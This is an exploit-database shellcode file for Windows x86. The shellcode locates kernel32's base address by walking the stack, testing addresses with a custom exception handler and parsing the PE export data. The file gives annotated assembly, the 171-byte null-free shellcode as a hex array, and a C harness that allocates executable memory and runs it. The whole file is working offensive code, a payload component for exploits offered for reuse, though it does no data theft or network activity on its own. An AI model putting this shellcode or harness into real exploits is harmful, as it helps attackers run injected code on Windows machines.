exploit-db-mirror/shellcodes/windows_x86/50722.asm

# Shellcode Title: Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
# Description:
# This shellcode is a new method to find kernel32 base address by walking down the stack and look for a possible Kernel32 address using custom SEH handler.
# Each address found on the stack will be tested using the Exception handling function. If it's valid and starts with 7, then it's a possible kernel32 address.
# Date: 2/5/2022
# Shellcode Author: Tarek Ahmed
# Tested on: Microsoft Windows 7, and 10

/*

MIT License

Copyright (c) 2022 Tarek Ahmed

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SOFTWARE.

sub esp, 8
xor eax, eax
cdq
xchg edx, ecx


StackWalk :
	mov ebx, [esp + ecx]	; Walking down the stack to find a possible kernel32 pointer
	mov edx, ebx
	shr ebx, 28		; Shift right 28 to get the last digit in the address, (looking for 7)
	add ecx, 4
	cmp ebx, 7		; is it 7 ?
	jne StackWalk
	jmp short checking

checkAddress :
	push ebp
	mov ebp, esp
	jmp rev1					; jmp down to rev1 and up again to avoid null bytes and get the address of next instruciton.
	reverse:
	pop eax
	jmp eax
	rev1:
	call reverse
	add eax, 0x1e
	push eax
	xor edi, edi
	push dword ptr FS : [edi]			; Push FS[0] SEH
	mov dword ptr fs : [edi] , esp		; set up or SEH stack
	mov eax, dword ptr ss : [ebp + 8]
        xchg eax, esi				; We want to call [esi] instead of [eax] next to avoid null bytes
	mov eax, dword ptr ds : [esi]

	xor eax, eax

	jmp short cleanseh


	xor eax, eax
	inc eax
	mov esp, dword ptr fs : [edi]
	mov esp, dword ptr ss : [esp]


cleanseh :
	pop dword ptr fs : [edi]
	add esp, 4
	pop ebp
	ret


checking:

	mov [ebp-0xc], ecx
	push edx				; Push the address we want to check if it's valid or not
	call checkAddress		; call the custom SEH function
	test eax, eax			; is it valid ? 0 ?
	je valid
	mov ecx, [ebp-0xc]
	jmp short StackWalk


valid :
	mov ecx, [ebp-0xc]
	mov ax, 0xffff			; We want to subtract 0x10000 from the address we found 0xffff + 1 = 0x10000
	inc eax


	findMZ:
	sub edx, eax			; Sub 0x10000 from the possible address
	mov dx, ax
	mov ax, [edx]
	cmp ax, 0x5a4d			; check for MZ to make sure it's a DLL file.
	jne findMZ			; If not, subtract one more 0x10000 to get a different section.
	xchg edx, ebx
	mov edi, [ebx + 0x3c]		; Walk the PE file
	add edi, ebx
	mov edi, [edi + 0x78]
	add edi, ebx
	mov edi, [edi + 0xc]
	add edi, ebx
	add edi, 4

	xor eax, eax
	push eax
	push 0x6c6c642e			; string .dll
	push 0x32334c45			; string EL32	= EL32.dll short for KERNEL32.dll
	mov esi, esp

checkKernel :
	mov edx, ecx
	mov cl, 8			; Compare string to KERNEL32.dll EDI ==> KERNEl32.dll
	cld

	repe cmpsb
	test ecx, ecx
	je foundKernel			; if equal, jmp to foundKernel
	mov ecx, edx
	jmp StackWalk

foundKernel :
					; Kernel32 base address should be in EBX if you reach this line.


*/

#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>


unsigned char code[] = "\x83\xEC\x08\x31\xC0\x99\x87\xCA\x8B\x1C\x0C\x89\xDA\xC1\xEB\x1C\x83\xC1\x04\x83\xFB\x07\x75\xF0\xEB\x34\x55\x89\xE5\xEB\x03\x58\xFF\xE0\xE8\xF8\xFF\xFF\xFF\x83\xC0\x1E\x50\x31\xFF\x64\xFF\x37\x64\x89\x27\x8B\x45\x08\x96\x8B\x06\x31\xC0\xEB\x09\x31\xC0\x40\x64\x8B\x27\x8B\x24\x24\x64\x8F\x07\x83\xC4\x04\x5D\xC3\x89\x4D\xF4\x52\xE8\xC3\xFF\xFF\xFF\x85\xC0\x74\x05\x8B\x4D\xF4\xEB\xA8\x8B\x4D\xF4\x66\xB8\xFF\xFF\x40\x29\xC2\x66\x89\xC2\x66\x8B\x02\x66\x3D\x4D\x5A\x75\xF2\x87\xDA\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB1\x08\xFC\xF3\xA6\x85\xC9\x74\x07\x89\xD1\xE9\x5D\xFF\xFF\xFF"

;

int main()
{


	void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, code, sizeof(code));
	((void(*)())exec)();

	return 0;




}